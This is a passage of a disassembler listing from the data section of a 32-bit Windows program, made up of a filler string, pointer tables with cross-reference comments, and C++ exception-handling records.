		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0
		align 4
		dd 31Bh	dup(0)
off_43F000	dd offset sub_4017D0	; DATA XREF: sub_403720+3FEo
off_43F004	dd offset byte_437AC0	; DATA XREF: sub_403CC0+2o
off_43F008	dd offset off_402027	; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C	dd offset sub_40221B	; DATA XREF: ___:004070C5o
off_43F010	dd offset loc_40218F	; DATA XREF: sub_409BC0+4o
					; sub_409C20+Bo ...
off_43F014	dd offset loc_402045	; DATA XREF: sub_40AEA0+2o
					; sub_40AEF0+1Co
		dd offset byte_437AC0
		align 10h
off_43F020	dd offset loc_401AE1	; DATA XREF: ___:0040B1F8o
					; sub_40B250+1Eo
flt_43F024	dd 1.0			; DATA XREF: ___:0040B8A6r
off_43F028	dd offset sub_401A4B	; DATA XREF: sub_40F6D0+157o
					; sub_40FE70+1Do
		dd offset sub_402149
		dd 0
off_43F034	dd offset sub_401ACD	; DATA XREF: sub_40F6D0+142o
					; sub_40FE70+23o
off_43F038	dd offset loc_40115E	; DATA XREF: sub_411930+36o
					; sub_4119E0+1Do
		dd offset loc_402004
		dd 0
off_43F044	dd offset sub_4014C9	; DATA XREF: ___:0041325Do
					; sub_4132F0+1Fo
		dd offset sub_401D0C
		align 10h
off_43F050	dd offset sub_4019CE	; DATA XREF: sub_416D00+6o
					; sub_417EF0+8o
		dd offset sub_4020C7
		dd 0
off_43F05C	dd offset loc_401CAD	; DATA XREF: sub_416D60+6o
					; sub_417F20+8o
		dd offset sub_401230
		align 8
off_43F068	dd offset loc_401929	; DATA XREF: sub_416DC0o sub_41FCD0+8o
		dd offset sub_401CF3
		dd 0
off_43F074	dd offset sub_40111D	; DATA XREF: sub_416E10o
					; sub_4191B0+36o
off_43F078	dd offset loc_4014AB	; DATA XREF: sub_417CC0+68o
off_43F07C	dd offset sub_401064	; DATA XREF: sub_417D60+8Bo
off_43F080	dd offset sub_40138E	; DATA XREF: sub_417E30+74o
off_43F084	dd offset loc_401B81	; DATA XREF: sub_417F50+7Bo
off_43F088	dd offset loc_40204A	; DATA XREF: sub_418010+7Bo
off_43F08C	dd offset loc_401F3C	; DATA XREF: sub_4180D0+3Eo
off_43F090	dd offset sub_401FE1	; DATA XREF: sub_418150+8o
off_43F094	dd offset loc_401FF5	; DATA XREF: sub_418180+3Eo
off_43F098	dd offset sub_401E6A	; DATA XREF: sub_418200+3Eo
off_43F09C	dd offset loc_40100A	; DATA XREF: sub_418280+10o
off_43F0A0	dd offset loc_4010B4	; DATA XREF: sub_4182B0+4Bo
off_43F0A4	dd offset sub_401BB8	; DATA XREF: sub_418330+10o
off_43F0A8	dd offset sub_40171C	; DATA XREF: sub_418360+10o
off_43F0AC	dd offset sub_40161D	; DATA XREF: sub_418390+6Bo
dbl_43F0B0	dq -3.0517578125e-5	; DATA XREF: sub_4199C0+22r
		dd 0
off_43F0BC	dd offset sub_401B09	; DATA XREF: sub_41A110+Bo
					; sub_41A210+6o
off_43F0C0	dd offset sub_401E92	; DATA XREF: sub_41B0E0+Do sub_41B140o
off_43F0C4	dd offset sub_401406	; DATA XREF: ___:0041B4A2o
					; ___:0041B58Do
		dd offset sub_401686
		align 10h
off_43F0D0	dd offset loc_4019F6	; DATA XREF: sub_41D770+77o
					; sub_41D860+1Do
		dd offset sub_401C94
		dd 0
off_43F0DC	dd offset sub_4011FE	; DATA XREF: sub_427740+32o
		dd offset sub_401A78
		dd offset sub_401A50
		dd 0
off_43F0EC	dd offset loc_4016DB	; DATA XREF: sub_4277B0+6Ao
					; sub_427850+1Do
		dd offset sub_401A78
		dd offset byte_437AC0
		dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Ah,	40h, 0
		dd offset sub_401A78
		dd offset sub_401366
		dd 0
off_43F10C	dd offset sub_40182A	; DATA XREF: sub_4281A0+32o
		dd offset sub_401A78
		dd offset sub_401EB0
		dd 0
off_43F11C	dd offset sub_40224D	; DATA XREF: sub_428880+32o
		dd offset sub_401A78
		dd offset sub_401A14
		dd 0
off_43F12C	dd offset sub_401C3F	; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4015B9
		dd 0
off_43F13C	dd offset loc_402086	; DATA XREF: sub_429120+7Ao
					; sub_4291E0+1Do
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset byte_437AC0
		dd 0
off_43F14C	dd offset sub_4021D5	; DATA XREF: sub_429450+4Bo
					; sub_429540+10o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_401D3E
		dd 0
off_43F15C	dd offset loc_40112C	; DATA XREF: sub_42ACB0+32o
					; sub_42AD50+9o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40137A
		dd 0
off_43F16C	dd offset loc_401B18	; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4010AF
		dd 0
off_43F17C	dd offset sub_4017B2	; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40189D
		dd 0
off_43F18C	dd offset sub_4020EF	; DATA XREF: sub_42C4C0+27o
dword_43F190	dd 0				dd 8, 0
off_43F19C	dd offset byte_437AC0	; DATA XREF: sub_42C530+39o
off_43F1A0	dd offset sub_401F5F	; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_40134D
		align 10h
off_43F1B0	dd offset sub_401B36	; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_401537
		align 10h
		dd offset loc_4015FA
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4019F1
		align 10h
		dd offset dword_43F348
off_43F1D4	dd offset loc_437B01	; DATA XREF: ___:00437AF8o
					; ___:off_444890o ...
		dd 0FFFFFFFFh, 437E9Ch,	437EB0h, 4Dh dup(0)
off_43F318	dd offset off_448C90	; DATA XREF: ___:0043F330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43F318
		dd 0
		db    0			; DATA XREF: ___:0043F358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43F330h
dword_43F348	dd 3 dup(0)			dd offset off_448C90
		dd offset unk_43F338
		dd 45h dup(0)
dword_43F470	dd 19930520h, 5, 43F490h, 5 dup(0)		dd 0FFFFFFFFh, 438E1Ch,	0
		dd offset dword_4382CC+0B24h
		dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0	dd 19930520h, 3Dh, 43F4E0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0
		dd offset loc_438E6B
		dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
		dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
		dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h,	0Dh, 438F1Eh, 0Eh
		dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h,	11h, 438F56h, 12h
		dd 438F64h, 13h, 438F72h, 14h, 438F80h,	15h, 438F8Eh, 16h
		dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h,	19h, 438FC6h, 1Ah
		dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h,	1Dh, 438FFEh, 1Eh
		dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h,	21h, 439036h, 22h
		dd 439044h, 23h, 439052h, 24h, 439060h,	25h, 43906Eh, 26h
		dd 43907Ch, 27h, 43908Ah, 28h, 439098h,	29h, 4390A6h, 2Ah
		dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h,	2Dh, 4390DEh, 2Eh
		dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h,	31h, 439116h, 32h
		dd 439124h, 33h, 439132h, 34h, 439140h,	35h, 43914Eh, 36h
		dd 43915Ch, 37h, 43916Ah, 38h, 439178h,	39h, 439186h, 3Ah
		dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700	dd 19930520h, 1, 43F720h, 5 dup(0)		dd 0FFFFFFFFh, 439290h,	2 dup(0)
dword_43F730	dd 19930520h, 2, 43F750h, 5 dup(0)		dd 0FFFFFFFFh, 4392B0h,	0
		dd offset loc_4392B8
		dd 2 dup(0)
dword_43F768	dd 19930520h, 2, 43F788h, 5 dup(0)		dd 0FFFFFFFFh, 4392E0h,	0
		dd offset loc_4392E8
		align 10h
dword_43F7A0	dd 19930520h, 1, 43F7C0h, 5 dup(0)		dd 0FFFFFFFFh, 439310h,	2 dup(0)
dword_43F7D0	dd 19930520h, 7, 43F7F0h, 5 dup(0)		dd 0FFFFFFFFh, 439330h,	0
		dd offset loc_439338
		dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh
		dd 2 dup(0)
dword_43F830	dd 19930520h, 7, 43F850h, 5 dup(0)		dd 0FFFFFFFFh, 4393B0h,	0
		dd offset loc_4393B8
		dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh
		dd 2 dup(0)
dword_43F890	dd 19930520h, 11h, 43F8B0h, 5 dup(0)		dd 0FFFFFFFFh, 439430h,	0FFFFFFFFh, 439438h, 0FFFFFFFFh
		dd 439440h, 0FFFFFFFFh,	439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh
		dd 439458h, 0FFFFFFFFh,	439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh
		dd 439470h, 0FFFFFFFFh,	439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh
		dd 439488h, 0FFFFFFFFh,	439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh
		dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h,	4 dup(0)
dword_43F948	dd 19930520h, 0Bh, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 4394F0h,	0
		dd offset loc_4394F8
		dd 0FFFFFFFFh, 439500h,	2, 439508h, 0FFFFFFFFh,	439510h
		dd 0FFFFFFFFh, 439518h,	0FFFFFFFFh, 439520h, 0FFFFFFFFh
		dd 439528h, 7, 439533h,	7, 43953Bh, 9, 439543h,	4 dup(0)
dword_43F9D0	dd 19930520h, 31h, 43F9F0h, 5 dup(0)		dd 0FFFFFFFFh, 439570h,	0
		dd offset loc_43957B
		dd 0
		dd offset loc_439586
		dd 0FFFFFFFFh, 439591h,	0FFFFFFFFh, 43959Ch, 4,	4395A7h
		dd 0FFFFFFFFh, 4395B2h,	6, 4395BDh, 6, 4395C8h,	8, 4395D3h
		dd 0FFFFFFFFh, 4395DEh,	0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah
		dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h,	0Ah, 439620h, 0FFFFFFFFh
		dd 43962Bh, 11h, 439636h, 11h, 439641h,	0FFFFFFFFh, 43964Ch
		dd 0FFFFFFFFh, 439657h,	15h, 439662h, 0FFFFFFFFh, 43966Dh
		dd 0FFFFFFFFh, 439678h,	18h, 439683h, 0FFFFFFFFh, 43968Eh
		dd 0FFFFFFFFh, 439699h,	0FFFFFFFFh, 4396A4h, 0FFFFFFFFh
		dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h,	1Dh, 4396D0h, 1Dh
		dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h,	22h, 4396FCh, 22h
		dd 439707h, 22h, 439712h, 22h, 43971Dh,	22h, 439728h, 22h
		dd 439733h, 22h, 43973Eh, 22h, 439749h,	22h, 439754h, 22h
		dd 43975Fh, 22h, 43976Ah, 22h, 439775h,	22h, 439780h, 0Ch dup(0)
dword_43FBA8	dd 19930520h, 2, 43FBC8h, 5 dup(0)		dd 0FFFFFFFFh, 439828h,	0
		dd offset loc_439820
		align 10h
dword_43FBE0	dd 19930520h, 2, 43FC00h, 5 dup(0)		dd 0FFFFFFFFh, 43986Bh,	0
		dd offset loc_439860
		dd 2 dup(0)
dword_43FC18	dd 19930520h, 3, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 4398A0h,	0
		dd offset loc_4398AB
		dd 0
		dd offset loc_4398B6
		dd 2 dup(0)
dword_43FC58	dd 19930520h, 1, 43FC78h, 5 dup(0)		dd 0FFFFFFFFh, 4398E0h,	2 dup(0)
dword_43FC88	dd 19930520h, 1, 43FCA8h, 5 dup(0)		dd 0FFFFFFFFh, 439900h,	2 dup(0)
dword_43FCB8	dd 19930520h, 2, 43FCD8h, 5 dup(0)		dd 0FFFFFFFFh, 439920h,	0
		dd offset loc_439928
		align 10h
dword_43FCF0	dd 19930520h, 57h, 43FD10h, 5 dup(0)		dd 0FFFFFFFFh, 439940h,	0
		dd offset loc_43994B
		dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
		dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
		dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h,	0Dh, 4399CEh, 0Eh
		dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh,	11h, 4399FAh, 12h
		dd 439A05h, 13h, 439A10h, 14h, 439A1Bh,	15h, 439A26h, 16h
		dd 439A31h, 17h, 439A3Ch, 18h, 439A47h,	19h, 439A52h, 1Ah
		dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h,	1Dh, 439A7Eh, 1Eh
		dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh,	1Eh, 439AAAh, 1Eh
		dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh,	1Eh, 439AD6h, 1Eh
		dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h,	1Eh, 439AF7h, 1Eh
		dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh,	1Eh, 439B18h, 2Eh
		dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh,	31h, 439B39h, 1Eh
		dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh,	1Eh, 439B4Fh, 1Eh
		dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h,	1Eh, 439B70h, 3Ah
		dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h,	3Dh, 439B91h, 1Eh
		dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h,	1Eh, 439BA7h, 1Eh
		dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh,	1Eh, 439BC8h, 46h
		dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh,	49h, 439BE9h, 1Eh
		dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh,	1Eh, 439BFFh, 1Eh
		dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h,	1Eh, 439C20h, 52h
		dd 439C2Bh, 53h, 439C36h, 54h, 439C41h,	55h, 439C4Ch, 13h dup(0)
		dd offset off_444890
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	437AF0h, 2 dup(0)
		dd offset off_4448B0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F1Ah, 2 dup(0)
		dd offset off_4448D8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F20h, 0
dword_440070	dd 3, 440050h, 440030h,	440010h, 2 dup(0)dword_440088	dd 0							; ___:0040AA77o
		dd offset dword_437EC4+62h
		dd 0
		dd offset dword_440070
		align 10h
dword_4400A0	dd 19930520h, 1, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	2 dup(0)
dword_4400D0	dd 19930520h, 1, 4400F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	2 dup(0)
dword_440100	dd 19930520h, 3, 440120h, 5 dup(0)		dd 0FFFFFFFFh, 439D70h,	0
		dd offset loc_439D87
		dd 1, 439D8Fh, 2 dup(0)
byte_440140	db 20h			; DATA XREF: ___:loc_439DB9o
		db 5, 93h, 19h
		dd 1, 440160h, 5 dup(0)
		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440170	dd 19930520h, 2, 440190h, 1, 4401A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4401B8h, 4	dup(0)
		dd offset sub_40AF32
		align 10h
dword_4401D0	dd 19930520h, 2, 4401F0h, 1, 440200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 440218h, 4	dup(0)
		dd offset sub_40B0B1
		align 10h
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278	dd 19930520h, 4, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439E40h,	0
		dd offset loc_439E4B
		dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0	dd 19930520h, 3, 4402E0h, 5 dup(0)		dd 0FFFFFFFFh, 439E90h,	0FFFFFFFFh, 439E98h, 0FFFFFFFFh
		dd 439EA0h, 2 dup(0)
dword_440300	dd 19930520h, 3, 440320h, 5 dup(0)		dd 0FFFFFFFFh, 439EC0h,	0
		dd offset loc_439EC8
		dd 1, 439ED0h, 2 dup(0)
dword_440340	dd 19930520h, 1, 440360h, 5 dup(0)		dd 0FFFFFFFFh, 439EF0h,	2 dup(0)
dword_440370	dd 19930520h, 4, 440390h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0FFFFFFFFh, 439F18h, 0FFFFFFFFh
		dd 439F20h, 2, 439F28h,	2 dup(0)
dword_4403B8	dd 19930520h, 1, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439F50h,	2 dup(0)
dword_4403E8	dd 19930520h, 4, 440408h, 5 dup(0)		dd 0FFFFFFFFh, 439F70h,	0
		dd offset loc_439F7B
		dd 0
		dd offset loc_439F86
		dd 2, 439F91h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439FC0h,	2 dup(0)
dword_440460	dd 19930520h, 5, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439FE0h,	0
		dd offset loc_439FEB
		dd 0
		dd offset loc_439FF6
		dd 0
		dd offset loc_43A001
		dd 0
		dd offset loc_43A00C
		align 10h
dword_4404B0	dd 19930520h, 2, 4404D0h, 5 dup(0)		dd 0FFFFFFFFh, 43A040h,	0
		dd offset loc_43A04B
		dd 2 dup(0)
dword_4404E8	dd 19930520h, 2, 440508h, 5 dup(0)		dd 0FFFFFFFFh, 43A070h,	0
		dd offset loc_43A07B
		align 10h
dword_440520	dd 19930520h, 4, 440540h, 5 dup(0)		dd 0FFFFFFFFh, 43A0A0h,	0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
		dd 43A0B0h, 0FFFFFFFFh,	43A0B8h, 2 dup(0)
dword_440568	dd 19930520h, 8, 440588h, 5 dup(0)		dd 0FFFFFFFFh, 43A0E0h,	0
		dd offset loc_43A0EB
		dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
		dd 1, 43A12Dh, 4 dup(0)
dword_4405D8	dd 19930520h, 0Dh, 4405F8h, 5 dup(0)		dd 0FFFFFFFFh, 43A160h,	0FFFFFFFFh, 43A16Bh, 1,	43A176h
		dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
		dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
		dd 43A1E4h, 4 dup(0)
dword_440670	dd 19930520h, 6, 440690h, 5 dup(0)		dd 0FFFFFFFFh, 43A220h,	0
